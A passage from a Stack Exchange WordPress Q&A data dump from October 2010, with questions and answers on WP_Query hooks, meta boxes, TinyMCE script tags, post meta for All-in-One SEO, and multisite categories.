$groupby;&#xA;  }&#xA;  static function posts_fields($field_list) {&#xA;    global $wpdb;&#xA;    $field_list =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;{$wpdb-&amp;gt;terms}.term_id,&#xA;{$wpdb-&amp;gt;terms}.name AS term_name,&#xA;{$wpdb-&amp;gt;terms}.slug AS term_slug,&#xA;COUNT(*) as post_count&#xA;SQL;&#xA;    return $field_list;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A couple things to explain. &lt;code&gt;WP_Query()&lt;/code&gt; doesn't let us query for a list of taxonomy term IDs, but it does let us query for a list of category IDs. But what are categories? They are a a taxonomy named &lt;code&gt;'category'&lt;/code&gt;?  That's why I set up &lt;code&gt;WP_Query()&lt;/code&gt; to query by category IDs using your taxonomy term IDs, but then I do a string replace in the &lt;code&gt;posts_where&lt;/code&gt; hook to replace &lt;code&gt;'category'&lt;/code&gt; with &lt;code&gt;'{$taxonomy}'&lt;/code&gt;, or in your case with &lt;code&gt;'artworkcat'&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the apparent complexity around the &lt;code&gt;add_action()&lt;/code&gt; and &lt;code&gt;remove_action()&lt;/code&gt; is simply to allow you to only use those hooks when you need them and not to leave them laying around where they could potentially affect your other queries.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-30T01:26:32.997" />
  <row Id="3454" PostTypeId="2" ParentId="3446" CreationDate="2010-10-30T02:26:55.010" Score="1" ViewCount="" Body="&lt;p&gt;Mm, they're not slashed, if that's what your meaning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, they're definitely not xss-sanitized. Use kses before saving, or esc_attr() on display, if you're dealing with untrusted data.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-30T02:26:55.010" CommentCount="2" />
  <row Id="3455" PostTypeId="2" ParentId="3027" CreationDate="2010-10-30T07:43:52.063" Score="-1" ViewCount="" Body="&lt;p&gt;this hook works only for original WP categories. Is there any solution/hook how to add custom form fields to custom category (taxonomy) type? Thanx&lt;/p&gt;&#xA;" OwnerUserId="1424" LastActivityDate="2010-10-30T07:43:52.063" CommentCount="1" />
  <row Id="3456" PostTypeId="1" CreationDate="2010-10-30T08:40:28.910" Score="0" ViewCount="193" Body="&lt;p&gt;I added the &lt;a href=&quot;http://wordpress.org/extend/plugins/slidedeck-lite-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;SlideDeck plug-in&lt;/a&gt; to &lt;a href=&quot;http://www.thepluck.com/thepluck&quot; rel=&quot;nofollow&quot;&gt;my site&lt;/a&gt;. I added it into the main index template. I am using the &lt;a href=&quot;http://michaelhutagalung.com/2008/05/arthemia-magazine-blog-wordpress-theme-released/&quot; rel=&quot;nofollow&quot;&gt;Arthemia theme&lt;/a&gt;. I really like the look of it but the only problem is that now I can't see all the options on my drop-down menu as the slider seems to overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to remove the word &quot;Headline&quot; from the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions welcome.&lt;/p&gt;&#xA;" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-11-08T15:53:00.407" LastActivityDate="2010-12-08T16:45:49.940" Title="How do I work with the SlideDeck plug-in?" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;css&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3457" PostTypeId="2" ParentId="3452" CreationDate="2010-10-30T09:20:17.470" Score="1" ViewCount="" Body="&lt;p&gt;You just have to modify the name attribute of the generated input fields from &lt;code&gt;p_clr&lt;/code&gt; to &lt;code&gt;p_clr[]&lt;/code&gt;. &lt;code&gt;$_POST['p_clr']&lt;/code&gt; will then be an array with the values of all the input fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function prod_colors_box() {&#xA;        global $post, $p_clr;&#xA;$p_clr = array();&#xA;        $p_clrs = get_post_meta( $post-&amp;gt;ID, 'p_clr' );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;p_colors&quot;&amp;gt;&#xA;    &amp;lt;?php foreach( $p_clrs as $key =&amp;gt; $p_clr ) { ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;p_clr_&amp;lt;?php echo $key; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;strong&amp;gt;Color:&amp;lt;/strong&amp;gt; &amp;lt;input id=&quot;p_clr_&amp;lt;?php echo $key; ?&amp;gt;&quot; name=&quot;p_clr[]&quot; value=&quot;&amp;lt;?php echo $p_clr; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;#&quot; id=&quot;addClr&quot;&amp;gt;Add Another Color&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;http://code.jquery.com/jquery-1.4.3.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(function() {&#xA;&#xA;    var clrDiv = $('#p_colors');&#xA;    var j = $('#p_colors p').size() + 1;&#xA;&#xA;    $('#addClr').live('click', function() {&#xA;        $('&amp;lt;p&amp;gt;&amp;lt;label for=&quot;p_clr_' + j + '&quot;&amp;gt;&amp;lt;strong&amp;gt;Color:&amp;lt;/strong&amp;gt; &amp;lt;input id=&quot;p_clr_' + j + '&quot; name=&quot;p_clr[]&quot; size=&quot;20&quot; value=&quot;&amp;lt;?php echo $p_clrs; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/label&amp;gt; &amp;lt;a href=&quot;#&quot; id=&quot;remClr&quot;&amp;gt;Remove&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;').appendTo(clrDiv);&#xA;        j++;&#xA;        return false;&#xA;    });&#xA;    $('#remClr').live('click', function() { &#xA;        if( j &amp;gt; 2 ) {&#xA;            $(this).parents('p').remove(); &#xA;            j--;&#xA;        } return false; &#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-30T19:00:23.470" LastActivityDate="2010-10-30T19:00:23.470" CommentCount="8" />
  <row Id="3458" PostTypeId="1" AcceptedAnswerId="3460" CreationDate="2010-10-30T12:52:18.157" Score="2" ViewCount="151" Body="&lt;p&gt;I'm looking for a solution that would allow me to write  tags inside posts and be sure that the visual editor or wordpress will not alter them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same problem can apply for other specific HTML code that I may want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling the visual editor is not an option, because in will render most edit operation too hard to use.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2010-10-30T16:45:34.333" Title="How to configure Wordpress to be able to use &lt;script&gt; tag inside posts?" Tags="&lt;javascript&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="3459" PostTypeId="1" AcceptedAnswerId="3476" CreationDate="2010-10-30T14:13:15.467" Score="2" ViewCount="101" Body="&lt;p&gt;I am using wordpres mu 2.9.2. and have the same category structure on all my blogs. how do I add categories to all blogs similtaneously? Is there a plugin that does this effectively?&lt;/p&gt;&#xA;" OwnerUserId="1426" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-10-30T17:29:32.947" LastActivityDate="2010-10-31T14:14:29.877" Title="adding categories to all blogs" Tags="&lt;categories&gt;&lt;multisite&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3460" PostTypeId="2" ParentId="3458" CreationDate="2010-10-30T16:45:34.333" Score="1" ViewCount="" Body="&lt;p&gt;Add the following to your theme functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_change_mce_options($initArray) {&#xA;    $ext = 'script[charset|defer|language|src|type]';&#xA;&#xA;    if ( isset( $initArray['extended_valid_elements'] ) ) {&#xA;        $initArray['extended_valid_elements'] .= ',' . $ext;&#xA;    } else {&#xA;        $initArray['extended_valid_elements'] = $ext;&#xA;    }&#xA;&#xA;    return $initArray;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'fb_change_mce_options');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-30T16:45:34.333" />
  <row Id="3461" PostTypeId="1" CreationDate="2010-10-30T18:13:25.023" Score="1" ViewCount="212" Body="&lt;p&gt;It looks that by default WordPress had hierarchy only for page/post categories and not for links categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I enable that?&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2011-01-25T21:54:43.123" Title="How to enable category hierarchy for links?" Tags="&lt;categories&gt;&lt;links&gt;&lt;hierarchical&gt;" AnswerCount="2" />
  <row Id="3462" PostTypeId="1" AcceptedAnswerId="3676" CreationDate="2010-10-30T19:41:54.780" Score="0" ViewCount="163" Body="&lt;p&gt;FeedWordPress is pulling in two, three, four, and as many as 15 copies of the same post when it updates (via manual cron triggers or via auto updates). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't happen all the time, and it doesn't happen with every post. I also noticed that it occasionally says that a FWP post was &quot;created locally on this site&quot;, even though it wasn't. Copies of that same post will sometimes say &quot;local&quot;, and sometimes &quot;syndicated&quot;. And one more strange behavior, it's actually posting stuff from one domain into another completely different domain, but it only seems to pull the post_title across, no content or categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on a WP Multi-site 3.0.1 install with FWP v2010.0905. I'm also using WP Super Cache if that might make a difference. Has anyone experienced any of this before? Does the duplicated posts FWP filter work properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave Morris&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2010-11-05T08:42:29.763" Title="FeedWordPress duplicated posts problem" Tags="&lt;multisite&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="3463" PostTypeId="1" CreationDate="2010-10-30T21:07:12.690" Score="1" ViewCount="695" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was &quot;wp_insert_post() and plugins&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;wp_insert_post()&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $my_post = array(&#xA; 'post_title' =&amp;gt; 'title',&#xA; 'post_content' =&amp;gt; $post,&#xA; 'post_status' =&amp;gt; 'publish',&#xA; 'post_author' =&amp;gt; 1,&#xA; 'post_date' =&amp;gt; date('Y-m-d H:i:s', $oldtime),&#xA; 'post_category' =&amp;gt; array(3,4)&#xA;&#xA; );&#xA;&#xA; wp_insert_post( $my_post );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works fine, but I want to use plugins like &lt;em&gt;&quot;All in One SEO Pack&quot;&lt;/em&gt; I can't figure out how to save their custom fields. I tried this but it did not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $my_post = array(&#xA; 'post_title' =&amp;gt; 'title',&#xA; 'post_content' =&amp;gt; $post,&#xA; 'post_status' =&amp;gt; 'publish',&#xA; 'post_author' =&amp;gt; 1,&#xA; 'post_date' =&amp;gt; date('Y-m-d H:i:s', $oldtime),&#xA; 'post_category' =&amp;gt; array(3,4)&#xA; 'aiosp_description' =&amp;gt; 'description',&#xA; 'aiosp_keywords' =&amp;gt; 'keywords' // these (aiosp_) is from post edit page in WP (&amp;lt;input type=&quot;text&quot; size=&quot;62&quot; name=&quot;aiosp_keywords&quot; value=&quot;keywords&quot;&amp;gt;)&#xA;&#xA; );&#xA;&#xA; wp_insert_post( $my_post );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I save these fields? Thanks for any help!!!&lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-30T23:50:10.373" LastActivityDate="2010-10-30T23:50:10.373" Title="Adding Plugin-specific Fields with wp_insert_post()?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;all-in-one-seo&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="3464" PostTypeId="2" ParentId="3463" CreationDate="2010-10-30T21:36:06.643" Score="1" ViewCount="" Body="&lt;p&gt;All-in-one SEO data are saved as post metas. You will need to use &lt;code&gt;add_post_meta&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_post = array(&#xA;    'post_title' =&amp;gt; 'title',&#xA;    'post_content' =&amp;gt; $post,&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_author' =&amp;gt; 1,&#xA;    'post_date' =&amp;gt; date('Y-m-d H:i:s', $oldtime),&#xA;    'post_category' =&amp;gt; array(3,4)&#xA;);&#xA;&#xA;$post_id = wp_insert_post( $my_post );&#xA;&#xA;if( !is_wp_error($post_id) &amp;amp;&amp;amp; $post_id &amp;gt; 0 ) {&#xA;    add_post_meta($post_id, 'keywords', $keywords);&#xA;    add_post_meta($post_id, 'description', $description);&#xA;    add_post_meta($post_id, 'title', $title);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-30T21:36:06.643" />
  <row Id="3465" PostTypeId="2" ParentId="3463" CreationDate="2010-10-30T22:26:50.410" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@word&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;@sorich87's&lt;/em&gt; answer is 99% there. The difference is that &lt;a href=&quot;http://wordpress.org/extend/plugins/all-in-one-seo-pack/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;All-in-One SEO Pack&lt;/strong&gt;&lt;/a&gt; follows certain best practices and uses a prefix of &lt;code&gt;'_aioseop_'&lt;/code&gt; on its meta keys. That makes the actual working code look more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_post = array(&#xA;  'post_title' =&amp;gt; 'title',&#xA;  'post_content' =&amp;gt; $post,&#xA;  'post_status' =&amp;gt; 'publish',&#xA;  'post_author' =&amp;gt; 1,&#xA;  'post_date' =&amp;gt; date('Y-m-d H:i:s', $oldtime),&#xA;  'post_category' =&amp;gt; array(3,4)&#xA;);&#xA;&#xA;$post_id = wp_insert_post( $my_post );&#xA;&#xA;if( !is_wp_error($post_id) &amp;amp;&amp;amp; $post_id &amp;gt; 0 ) {&#xA;  add_post_meta($post_id, '_aioseop_keywords', $keywords);&#xA;  add_post_meta($post_id, '_aioseop_description', $description);&#xA;  add_post_meta($post_id, '_aioseop_title', $title);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of the All-in-One SEO Pack specific records in the &lt;code&gt;wp_postmeta&lt;/code&gt; table of my test system using Navicat for MySQL to view them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101030-182611.png&quot; alt=&quot;Screenshot of Post Meta records used by All-in-One SEO Pack&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-30T22:26:50.410" />
  <row Id="3466" PostTypeId="1" AcceptedAnswerId="3470" CreationDate="2010-10-30T23:16:41.500" Score="0" ViewCount="161" Body="&lt;p&gt;I (will) have a multilingual (3 lang actually) site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used WMPL some time, but this plugine made me sad... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I decided to install each language a part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should it be done? I have my &lt;code&gt;/&lt;/code&gt;&#xA;So, should I install&lt;br&gt;&#xA;&lt;code&gt;/en&lt;/code&gt; &lt;code&gt;/fr&lt;/code&gt; &lt;code&gt;/it&lt;/code&gt; or&lt;br&gt;&#xA;&lt;code&gt;/&lt;/code&gt; + &lt;code&gt;/fr&lt;/code&gt; &lt;code&gt;/it&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there some plugin that will help me to synchronize content?&lt;/p&gt;&#xA;" OwnerUserId="1431" LastActivityDate="2011-05-22T06:28:34.750" Title="Multiple install for multilanguage. How to?" Tags="&lt;multisite&gt;&lt;multi-language&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="3468" PostTypeId="1" CreationDate="2010-10-31T00:17:04.700" Score="2" ViewCount="527" Body="&lt;p&gt;I'm trying to create a custom meta box with multiple text fields. The idea is that there is initially one text box, then you can click the button 'Add New' and a another text box is added (using Ajax; no need to publish or update the post for the text box to be created). I'm using the following code (below), but it just doesn't work. I'm completely stuck; really need some help. I'm even willing to donate some cash if anyone can help me figure this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/usRhiJJ4&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/usRhiJJ4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1432" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T18:19:33.807" LastActivityDate="2011-01-31T00:49:21.977" Title="Custom Metabox with Ajax in Edit Post - Stuck" Tags="&lt;metabox&gt;&lt;editor&gt;&lt;ajax&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" />
  <row Id="3469" PostTypeId="1" AcceptedAnswerId="3495" CreationDate="2010-10-31T04:36:00.030" Score="1" ViewCount="238" Body="&lt;p&gt;I'm trying to have spacing show up between a paragraph and heading in the following excerpt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my &lt;a href=&quot;http://theuniversityblog.co.uk/2010/09/21/clubs-societies-zen/&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt; &lt;a href=&quot;http://blog.sysil.com/2010/09/21/extracurricular-club-handling-sovereign-zen-style-part-2/&quot; rel=&quot;nofollow&quot;&gt;series&lt;/a&gt; on handling extracurriculars, I coined the term Sovereign Zen philosophies. It builds off of Cal Newport’s &lt;a href=&quot;http://calnewport.com/blog/2008/04/18/how-to-become-a-zen-valedictorian-decreasing-your-stress-without-decreasing-your-ambition/&quot; rel=&quot;nofollow&quot;&gt;Zen Valedictorian philosophy&lt;/a&gt;. Before you criticize this article as being a copycat, there are some subtle differences between both philosophies, namely the self-protective critical thinking components, and their applicability beyond schooling career.&lt;br&gt;&lt;br&gt;&#xA;    &lt;h1&gt;Definition&lt;/h1&gt;&#xA;    &lt;strong&gt;Zen Valedictorian:&lt;/strong&gt; A way of living to become less overloaded and less stressed without becoming less impressive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the line break between career and definition isn't showing up properly even with two &lt;code&gt;&amp;lt;br&lt;/code&gt;&gt;&lt;code&gt;&amp;lt;br&lt;/code&gt;&gt;. How would you suggest dealing with this?Blockquote&lt;/p&gt;&#xA;" OwnerUserId="598" LastActivityDate="2010-11-01T09:28:02.660" Title="Line breaks not showing up properly" Tags="&lt;formatting&gt;" AnswerCount="2" />
  <row Id="3470" PostTypeId="2" ParentId="3466" CreationDate="2010-10-31T06:54:48.593" Score="1" ViewCount="" Body="&lt;p&gt;I would go for /en/ in order to prevent future issues and keep isolated the content that is not localizable. From my knowledge WPML does not support this yet.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2010-10-31T06:54:48.593" CommentCount="3" />
  <row Id="3471" PostTypeId="1" AcceptedAnswerId="3504" CreationDate="2010-10-31T12:10:16.370" Score="0" ViewCount="143" Body="&lt;p&gt;I've tried to search for a geo-blocking plugin for wordpress - didn't find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So thought to ask here if anyone knows of a geo-blocking solution for wordpress sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-01T20:35:27.997" LastActivityDate="2010-11-01T20:35:27.997" Title="Geo Blocking in Wordpress - how can it be implemented?" Tags="&lt;geo-data&gt;" AnswerCount="1" />
  <row Id="3472" PostTypeId="1" AcceptedAnswerId="3503" CreationDate="2010-10-31T13:20:18.740" Score="0" ViewCount="173" Body="&lt;p&gt;I have chosen from a variety of menus for my application only one and it was a wordpress 3.0.1 admin panel menu, but I can't get pass the functionality of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If to be more distinct I can't understand how the sliding in this menu work. Is there a jQuery function for every element of the menu or they made it with no link to the specific menu item and how does it remember the state (is menu item open or closed)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I asked this question in the correct place. Thank you all for help.&lt;/p&gt;&#xA;" OwnerUserId="943" LastActivityDate="2010-11-01T12:42:17.513" Title="Mimicking admin panel menu from wordpress 3.0.1" Tags="&lt;3.0.1&gt;&lt;admin-menu&gt;" AnswerCount="1" />
  <row Id="3473" PostTypeId="2" ParentId="3442" CreationDate="2010-10-31T13:39:07.270" Score="1" ViewCount="" Body="&lt;p&gt;@Jan:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cache images plugin: &lt;a href=&quot;http://blog.milandinic.com/wordpress/plugins/cache-images/&quot; rel=&quot;nofollow&quot;&gt;http://blog.milandinic.com/wordpress/plugins/cache-images/&lt;/a&gt;&#xA;helped me with this, it does not on demand replace the links but rather goes through all links but basically does the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One note on this: when I ran it on a small blog it worked pretty well. On another blog (http://edward.de.leau.net) it did a lot of posts but then somewhere in the middle it began replacing ALL images so including the ones that were under &lt;a href=&quot;http://edward.de.leau.net&quot; rel=&quot;nofollow&quot;&gt;http://edward.de.leau.net&lt;/a&gt; .... I havent investigated that one I just broke it off. So be careful when you run large batches with this one and keep checking the replace logging screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt; the new version of the plugin allows on-demand side loading, see: &lt;a href=&quot;http://weblogtoolscollection.com/archives/2010/11/28/wordpress-plugin-releases-for-1128-2/#comments&quot; rel=&quot;nofollow&quot;&gt;http://weblogtoolscollection.com/archives/2010/11/28/wordpress-plugin-releases-for-1128-2/#comments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-28T19:38:41.103" LastActivityDate="2010-11-28T19:38:41.103" />
  <row Id="3474" PostTypeId="2" ParentId="3461" CreationDate="2010-10-31T13:43:53.883" Score="1" ViewCount="" Body="&lt;p&gt;You can not enable that, it is not supported, on top of that there is no meta table for links :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one of my sites: &lt;a href=&quot;http://populair.eu&quot; rel=&quot;nofollow&quot;&gt;http://populair.eu&lt;/a&gt; I wanted to put each link you see on there in a hierarchical category (obvious if you see the layout). But since it was not supported I put all links in another format and wrote a template to display them in this way.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-10-31T13:49:20.883" LastActivityDate="2010-10-31T13:49:20.883" />
  <row Id="3475" PostTypeId="2" ParentId="3469" CreationDate="2010-10-31T14:02:24.770" Score="1" ViewCount="" Body="&lt;p&gt;I don't use it but I think this: &lt;a href=&quot;http://plugins.trac.wordpress.org/wiki/TextControl&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/wiki/TextControl&lt;/a&gt; might help. Also see: &lt;a href=&quot;http://www.google.nl/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=linebreaks+get+removed+by+wordpress&quot; rel=&quot;nofollow&quot;&gt;http://www.google.nl/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=linebreaks+get+removed+by+wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p align=&quot;none&quot;&amp;gt; &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or see: &lt;a href=&quot;http://www.orphicpixel.com/common-wordpress-annoyance/&quot; rel=&quot;nofollow&quot;&gt;http://www.orphicpixel.com/common-wordpress-annoyance/&lt;/a&gt; (which simply means: install the tinymce editor advanced and change some settings)&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-10-31T17:16:19.757" LastActivityDate="2010-10-31T17:16:19.757" />
  <row Id="3476" PostTypeId="2" ParentId="3459" CreationDate="2010-10-31T14:14:29.877" Score="1" ViewCount="" Body="&lt;p&gt;You could write a script for that, here is something I wrote in Perl lately:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;first the sql statements to check if the term already exist and if not insert it:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;the prepared statements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my $wts    = $dbh-&amp;gt;prepare(&#xA;&quot;SELECT term_id FROM $tb_wp_terms WHERE name = ?&quot;)&#xA;or die &quot;Couldn't prepare statement: &quot; . dbh-&amp;gt;errstr;&#xA;&#xA;my $wti    = $dbh-&amp;gt;prepare(&#xA;&quot;INSERT INTO $tb_wp_terms&#xA;(name, slug) VALUES (?,?)&quot;)&#xA;or die &quot;Couldn't prepare statement: &quot; . dbh-&amp;gt;errstr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;then make the term taxonomy entry:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;the prepared statements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my $wtts    = $dbh-&amp;gt;prepare(&#xA;&quot;SELECT term_taxonomy_id FROM $tb_wp_term_taxonomy WHERE term_id = ? &#xA; AND taxonomy = '&quot;.$config{'wordpress.taxonomy_type'}.&quot;'&quot;)&#xA; or die &quot;Couldn't prepare statement: &quot; . dbh-&amp;gt;errstr;&#xA;&#xA;my $wtti    = $dbh-&amp;gt;prepare(&#xA;&quot;INSERT INTO $tb_wp_term_taxonomy&#xA;(term_id, taxonomy, count) VALUES (?,?,1)&quot;)&#xA;or die &quot;Couldn't prepare statement: &quot; . dbh-&amp;gt;errstr;&#xA;&#xA;my $wtts_count    = $dbh-&amp;gt;prepare(&#xA;&quot;SELECT count FROM $tb_wp_term_taxonomy WHERE term_taxonomy_id = ? AND taxonomy =&#xA;   '&quot;.$config{'wordpress.taxonomy_type'}.&quot;'&quot;)&#xA;or die &quot;Couldn't prepare statement: &quot; . dbh-&amp;gt;errstr;&#xA;&#xA;my $wtti_count    = $dbh-&amp;gt;prepare(&#xA;&quot;UPDATE $tb_wp_term_taxonomy&#xA; SET count = ?&#xA; WHERE term_taxonomy_id = ?&#xA; &quot;)&#xA;or die &quot;Couldn't prepare statement: &quot; . dbh-&amp;gt;errstr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And use the queries above with some code around it (you need to check for blogs that already have some of the categories).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For MU only the blogs &gt; 1 get a blog id in their table name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my $tb_blogid = &quot;&quot;;&#xA;if ( $config{'wordpress.wp_mu_blog_id'} &amp;gt; 1 )&#xA;{&#xA;$tb_blogid = &quot;_&quot; . $config{'wordpress.wp_mu_blog_id'};&#xA;}&#xA;my $tb_posts                    = $config{'wordpress.prefix'} . $tb_blogid . &quot;_posts&quot;;&#xA;my $tb_wp_terms                 = $config{'wordpress.prefix'} . $tb_blogid . &quot;_terms&quot;;&#xA;my $tb_wp_term_taxonomy         = $config{'wordpress.prefix'} . $tb_blogid .     &#xA;&quot;_term_taxonomy&quot;;&#xA;my $tb_wp_terms_relationships   = $config{'wordpress.prefix'} . $tb_blogid . &#xA;&quot;_term_relationships&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So just loop through them.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-10-31T14:14:29.877" CommentCount="1" />
  <row Id="3477" PostTypeId="2" ParentId="3434" CreationDate="2010-10-31T15:42:36.433" Score="2" ViewCount="" Body="&lt;p&gt;Try changing your password @ wordpress.org then retry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If still fails check your firewall log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it still fails ... ask Andrew Nacin :) &lt;a href=&quot;http://twitter.com/#!/blamenacin&quot; rel=&quot;nofollow&quot;&gt;http://twitter.com/#!/blamenacin&lt;/a&gt; :)&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-10-31T15:50:05.707" LastActivityDate="2010-10-31T15:50:05.707" CommentCount="3" />
